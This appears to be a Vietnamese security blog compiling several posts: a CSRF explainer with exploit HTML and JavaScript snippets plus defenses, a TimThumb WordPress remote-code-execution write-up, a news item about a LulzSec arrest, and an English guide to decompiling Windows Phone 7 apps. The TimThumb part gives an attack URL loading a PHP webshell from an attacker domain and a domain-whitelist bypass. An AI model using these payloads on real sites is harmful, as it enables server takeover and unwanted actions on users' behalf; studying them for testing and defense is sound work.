CSRF/XSRF Cross-Site Request Forgery

Hiện nay nhiều người vẫn chưa đánh giá đúng mức độ nghiêm trọng của CSRF, thậm chí còn nhầm lẫn CSRF với XSS. Với cá nhân mình CSRF thực sự là thực sự là một dạng lỗi rất "hay ho" và còn rất nhiều website mắc phải, đặc biệt là các website của VN.

Sự ra đời của CSRF

Năm 2001, Peter Watkins  trong bài viết: "The Dangers of Allowing Users to Post Images" "trên bugtrag đã lần đầu tiên sử dụng thuật ngữ CSRF.

CSRF (Cross-Site Request Forgery) là gì?

Cross-Site Request Forgery (CSRF / XSRF), là kiểu tấn công lừa người sử dụng thực hiện một hành động mà họ không mong muốn lên ứng dụng web, bằng chính quyền của người dùng đó. Sử dụng một số thủ thuật social engineering đơn giản (như gửi link qua email, chát), hacker có thể lừa người dùng thực hiện một số tác vụ lên ứng dụng web  bị lỗi CSRF như: xóa bài, thêm người dùng, thay đổi email, thay đổi mật khẩu của victim ... Nếu người bị lừa là Admin, thì hacker hoàn toàn có thể chiếm quyền điều khiển ứng dụng web đó.

Ví dụ: Trong giao diện quản trị admin control panel của một ứng dụng web cho phép admin xóa bài viết bằng request sau?
http://WebSites.com/admincp/index.php?act=delete&id=ID
Chuyện gì sẽ xảy ra nếu admin nhận được 1 email,đọc một comment có chèn đoạn code HTML sau:
<img src="http://WebSites.com/admincp/index.php?act=delete&amp;id=ID" />

Cookiee và CSRF

Nếu website phân biệt người dùng qua Cookie hoặc Session thì liệu có bị CSRF không. Câu trả lời là có. Khi kết nối tới server để load ảnh tại link trên, trình duyệt đã tự động điền cookie, session vào request đó.

Store CSRF

Phân biệt CSRF vs XSS (Cross-Site Scripting)

Website chỉ sử dụng POST có bị CSRF không

Đúng là việc khai thác CSRF qua POST sẽ khó hơn, mức độ nguy hiểm của những lỗi CSRF qua POST vì thế cũng bị đánh giá thấp hơn . Tuy nhiên, phải hiểu rằng, việc truyền biến qua POST không phải là giải pháp cho XSRF.

Các cách khai thác CSRF phổ biến

1. Khai thác qua các thẻ HTML
IMG SRC
  <img src="http://host/?command">
SCRIPT SRC
  <script src="http://host/?command">
IFRAME SRC
  <iframe src="http://host/?command">

2. Khai thác qua JavaScript (Thường dùng cho các request dạng POST)

'Image' Object
  <script>
  var foo = new Image();
  foo.src = "http://host/?command";
  </script>

'XMLHTTP' Object
  IE
  <script>
  var post_data = 'name=value';
  var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  xmlhttp.open("POST", 'http://url/path/file.ext', true);
  xmlhttp.onreadystatechange = function () {
  if (xmlhttp.readyState == 4)
  {
  alert(xmlhttp.responseText);
  }
  };
  xmlhttp.send(post_data);
  </script>

Mozilla
  <script>
  var post_data = 'name=value';
  var xmlhttp=new XMLHttpRequest();
  xmlhttp.open("POST", 'http://url/path/file.ext', true);
  xmlhttp.onreadystatechange = function () {
  if (xmlhttp.readyState == 4)
  {
  alert(xmlhttp.responseText);
  }
  };
  xmlhttp.send(post_data);
</script>

Ngoài ra còn rất nhiều kiểu khai thác khác nữa như sử dụng VBScript, Action Script, hay dùng các ngôn ngữ XML để thực hiện request.
CSRF ngoài việc khai thác trực tiếp qua trình duyệt, còn có thể khai thác qua Flash, Document file (PDF, DOC, EXEL ...), movie (WMA, AVI..), qua RSS, atom ...



Cách Pentest CSRF

Nếu website cho phép thực hiện các chức năng thông qua các request GET hoặc POST cố định thì có khả năng mắc lỗi CSRF. Tức là nếu mình replay lại được request POST hoặc GET trên thì có khả năng là website sẽ mắc lỗi.

Phòng chống CSRF

Một số quam niệm sai lầm

Sai lầm 1: Sử dụng POST để tránh CSRF. (Đã phân tích ở trên)
Sai lầm 2: Sử dụng Cookie để tránh CSRF. (Đã phân tích ở trên)
Sai lầm 3: Sử dụng Referer có thể khắc phục triệt để được CSRF

Đúng là việc check referer có thể khiến cho việc khai thác CSRF trở nên khó khăn hơn, nhưng điều đó không có nghĩa là bạn có thể dùng nó để chống CSRF. Tốt nhất là hãy code website để nó không mắc lỗi, chứ đừng để nó mắc lỗi mà đi tìm cách chặn kiểu khác thác của nó. Rõ ràng khi site bị CSRF, nếu ta relay thành công một request hợp lệ thì xem như sẽ khai thác được. Cái khó ở đây là website đó đã check referer. Vậy mấu chốt là phải giả được referer. Nếu bạn đã cài được 1 plugin lên trình duyệt của người dùng, thì xem như hết chuyện để nói, còn trên thực tế bạn có thể dùng XMLHTTP hoặc Flash để tạo ra request có referer giả

Vậy rốt cuộc, nên phòng chống CSRF như thế nào? Dưới đây là một số recomment:

1. Synchronizer Token Pattern:
Tạo thêm 1 trường ẩn có giá trị là token
<form action="/transfer.do" method="post">
  <input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi
  MGYwMGEwOA==">
  …
  </form>
2. Disclosure of Token in URL
Cách này đưa token lên URL, bạn vào các website mà có đường dẫn loằng ngoằng toàn số, chính là loại này.
Kiểu này có đặc điểm là không đẹp, khó SEO.

3. Viewstate (ASP.NET)
4. Double Submit Cookies
Kiểu này thực chất là khá giống kiểu 1, nhưng lấy ngay cookie làm trường ẩn.

Lỗi nghiêm trọng của Wordpress TimThumb Plugin ảnh hưởng tới rất nhiều blog

TimThumb

Chức năng: TimThumb là một plugin khá phổ biến trong giới wordpress dùng để tạo các ảnh thumb cho bài viết. Cách sử dụng đơn giản, với chỉ một file php duy nhất.
 HTML example: <img src="/scripts/timthumb.php?src=/images/whatever.jpg&w=150&h=200&zc=1" alt="" />
TimThumb cũng có tính năng tạo cache để việc xem lại ảnh trở nên nhanh hơn. Chính vì sự dễ dùng và hiệu quả như vậy, TimThumb thường được tích hợp sẵn trong rất nhiều premium templates nổi tiếng cũng như được tích hợp trong các plugin khác chuyên về sử lý ảnh, gallery của wordpress.

WordPress TimThumb Plugin - Remote Code Execution

Version mắc lỗi: Từ 1.15 đến 1.32 (đã check). Version 1.33 không bị vì không lưu file cache dưới đuôi .php
Cách xem version của phiên bản TimThumb.
Tìm đoạn code có dạng sau ở ngay đầu file:
define ('VERSION', '1.15');                    // version number (to force a cache refresh)

Nguyên nhân mắc lỗi: TimThumb lưu cache file sau khi kiểm tra tính hợp lệ của MIME-TYPE, nhưng ta hoàn toàn có thể tạo 1 file PHP WebShell có MIME-TYPE là của file ảnh để đánh lừa.
Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)
http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php
Stored file on the Target: (This can change from host to host.)
http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
Download PHP WebShell có MIME-TYPE của file GIF

Ngoài ra bạn cũng hoàn toàn có thể tự chèn webshell vào trong file ảnh của mình bằng cách sử dụng công cụ edjpgcom

AllowedSites

Có một điểm bạn lưu ý để khai thác thành công lỗi này mà tôi chưa thấy blog nào nói rõ đó là vấn đề AllowedSites. Thực ra TimThumb chỉ cho phép tạo cache và thumb với các file ảnh trên chính host của blog của bạn. Vì thế bạn sẽ không thể ... Remote Execute được.


Ngay đầu file có đoạn kiểm tra src

// sort out image source
$src = get_request ('src', '');
if ($src == '' || strlen ($src) <= 3) {
    display_error ('no image specified');
}

// clean params before use
$src = clean_source ($src);
Trong đó
function clean_source ($src) {

    $host = str_replace ('www.', '', $_SERVER['HTTP_HOST']);
    $regex = "/^((ht|f)tp(s|):\/\/)(www\.|)" . $host . "/i";

    $src = preg_replace ($regex, '', $src);
    $src = strip_tags ($src);
    $src = check_external ($src);

    // remove slash from start of string
    if (strpos ($src, '/') === 0) {
        $src = substr ($src, -(strlen ($src) - 1));
    }

    // don't allow users the ability to use '../'
    // in order to gain access to files below document root
    $src = preg_replace ("/\.\.+\//", "", $src);

    // get path to image on file system
    $src = get_document_root ($src) . '/' . $src;

    return $src;

}
Dễ dàng nhận thấy đoạn code trên sẽ trảm phần http:// (hoặc ftp) đi, vì thế bạn sẽ không thể khai thác từ xa.
Nhưng hãy chú ý hàm check_externa.

TimThumb lại cho phép
//     external domains that are allowed to be displayed on your website
$allowedSites = array (
    'flickr.com',
    'picasa.com',
    'blogger.com',
    'wordpress.com',
    'img.youtube.com',
);

Trong khi đoạn code kiểm tra allowedSites lại không chặt chẽ. Bạn hoàn toàn có thể đăng ký các domain dạng: xxxflickr.com , yyyyblogger.com  ... để qua mặt


Exploit Video

Note:
1. Việc kiểm tra allowsite là không chặt chẽ do sự đa dạng của subdomain.
2. MIME-TYPE có thể làm giả

Lulzsec Hacker đối mặt với mức án 15 năm tù vì quá tin tưởng HideMyAss

Từ lâu trong giới công nghệ, mọi người đều biết đến HideMyAss.com, như một trong những nhà cung cấp dịch vụ ẩn danh nổi tiếng và tốt nhất trên Internet.

Thế nhưng mới đây, hacker Commander X của nhóm Lulzsec đã bị FBI bắt giữ và đang phải đối mặt với nguy cơ chịu mức án lên tới 15 năm tù giam. Theo tìm hiểu Commander X đã bị bắt giữ vì sử dụng mạng Internet tại nhà, và fakeip bằng dịch vụ của HideMyAss. Tuy nhiên HideMyAss đã cung cấp toàn bộ thông tin
trên cho FBI.

HideMyAss công bố:  "services such as ours do not exist to hide people from illegal activity. We will cooperate with law enforcement agencies if it has become evident that your account has been used for illegal activities"

Theo như tìm hiểu, HideMyAss sẽ log lại các IP sử dụng các dịch vụ của họ trong khoảng 30 ngày.
Đọc thêm tại: http://blog.hidemyass.com/2011/09/23/lulzsec-fiasco/

Điều rút ra ở đây là: Không tin một ai ngoài chính mình :D

Dịch ngược ứng dụng WP7 ra code .NET

With over 30,000 apps in the marketplace within a year of launch, Microsoft’s Windows Phone 7 platform seems to grabbing consumer attention slowly but steadily. Though the installed user base is nowhere close to that of Android or iOS, Gartner’s predictions notwithstanding, in the last few months we’ve seen an increasing interest from companies on this new mobile platform. One of the questions we hear a lot is how we go about pentesting WP7 apps, and what tools their QA teams should be looking at. This post, and others in this series, is aimed at answering some of these questions.

Application Package Structure

WP7 apps are zip files renamed as “.xap” archives, and can be opened by standard archival programs such as 7-Zip and WinRar. Rename the application package “MyApp.xap” to “MyApp.zip”, and then unzip the archive. Generally, the following files will be found inside application package:
  • AppManifest.xaml – Lists assemblies required by the application, application code entry point, runtime version.
  • MyApplication.dll – Main application DLL. This contains the application logic and embedded resources like XAML layouts and images.
  • Background.png, ApplicationIcon.png – Images for the application
  • WMAppManifest.xml – Lists capabilities requested by the application, application GUID, application XAML entry point, app icons and live tile/hub bindings.
  • WMAppPRHeader.xml – DRM header for app (in case of download from Marketplace).
  • WPInteroptManifest.xml* – Optional. If it exists, the application is probably making use of interop services.
  • MyInteropDll.dll* – Optional. If it exists, the application is probably making use of interop services.
  • System assemblies – Default WP7 assemblies, e.g. Microsoft.Phone.Controls.dll, System.Windows.Controls.dll, etc.
  • Images/* - Application icon / app bar images
*Note – With the Mango update release, interop services will probably be blocked. This provided the COM interoperability bridge, allowing applications to call unmanaged code from managed binaries. This shouldn’t concern you unless you develop OEM or mobile operator apps, as Microsoft restricts use of the interop capability.
Many applications also have accompanying resource folders, which hold static content like configuration files, sounds, etc., which might be worth looking at.
The WMAppManifest.xml file lists the capabilities requested by the application, which should be as minimal as possible. Capabilities define what resources an app requests access to, similar to permissions in an Android app. The capabilities required by application, based on the libraries it references, can be determined by using the Windows Phone Capability Detection Tool, packaged with the WP7 SDK.

C:\Program Files (x86)\Microsoft SDKs\Windows Phone\v7.0\Tools\CapDetect&gt;CapabilityDetection.exe Rules.xml MyApplication.dll
ID_CAP_NETWORKING
ID_CAP_MEDIALIB
ID_CAP_SENSORS
ID_CAP_WEBBROWSERCOMPONENT
ID_CAP_IDENTITY_DEVICE
The main point of analysis is the MyApplicationName.dll file. This contains the primary application logic. Though theoretically any .NET language is supported, typically WP7 applications are written in C# and compiled as managed binaries. Though WP7 apps may be relatively new, the .NET language has been around a while, and a number of tools exist to aid in reversing .NET binaries.

Decompilation and Static Analysis

After extracting XAP contents, identify the main DLL file. This is usually the assembly pointed to by the “EntryPointAssembly” field in AppManifest.xaml. The DLL is a .NET managed code binary, and depending on any obfuscation used, can be decompiled back into C# by tools like .NET Reflector and dotPeek.
  • .NET Reflector – This is my preferred tool for decompilation of .NET binaries. The interface is simple and easy to use – however, I find myself getting better results with dotPeek (see below). The standard version of the tool costs $35, though a 14-day evaluation license is available.
  • dotPeek – This is a recent tool from JetBrains, still in development. It’s free, and managed to decompile some binaries that Reflector bailed out on. I’m expecting good things from this.
I’ll use .NET Reflector below.
Once the target binary has been identified, in our case MyApplication.dll, load it in .NET Reflector by clicking on File -> Open and selecting the file. The tool may complain about missing assemblies; this happens because it wasn’t built to support WP7 and cannot resolve the assembly names automatically. Whenever it complains about an assembly, for example “could not find Microsoft.Phone.dll”, it also offers the user a chance to load the file manually. Click on the “…” and browse to “Program Files\Reference Assemblies\Microsoft\Framework\Silverlight\v4.0\Profile\WindowsPhone”, where you will find all the system DLLs that are generally used by WP7 applications. You may need to install the WP7 Developer Tools SDK (http://create.msdn.com/en-US/resources/downloads) if you don’t have that folder already. If you’re using a 64-bit flavor of Windows, replace “Program Files” with “Program Files (x86)”.
Right click the assembly on the tree to the left and click on “Disassemble”. The tree should now be expandable, and will have two nodes, “MyApplication.dll” and “Resources”. Resources contains all the embedded resources for the app, like XAML and image files. These can be extracted and saved for perusal – sometimes, the XAML files have interesting tidbits left by the developer. Double click the resources file to load it into the right tree, then right click -> “Save As” on the resource you want to save.
Decompiled xap with namespaces obfuscated
The screenshot above shows a typical decompiled binary. I’ve obfuscated the namespace, since it’s a real app in the Marketplace. The second node contains reference points to system DLLs, and the application code namespaces. This is essentially the meat of the application – it represents the code tree of the application and allows to look for bugs in the decompiled code. Expand the code tree and click on any node to view the source. The structure is DLL -> Namespace -> Class -> Class Members. It’s more expedient to view it by class – click on the class you want to investigate, and you can see declarations for all methods and variables used by the class. Click on “Expand Methods” on the right hand pane to view method definitions.
Clicking on “Tools” -> “Search” on the main window bar will bring up the search interface. Type in the desired search string in the search box, results should dynamically update. Results can be refined by type, member, string/constant, or exact match by the little icons to the right of the search bar.

That’s all I have this time – I’ll talk about exploring Isolated Storage, interop DLLs, analyzing network traffic, and other points of interest in the next post.
 

© Security Warrior
Revolution Elements by Blozard. Original WP theme by Jason Schuller | Distributed by Deluxe Templates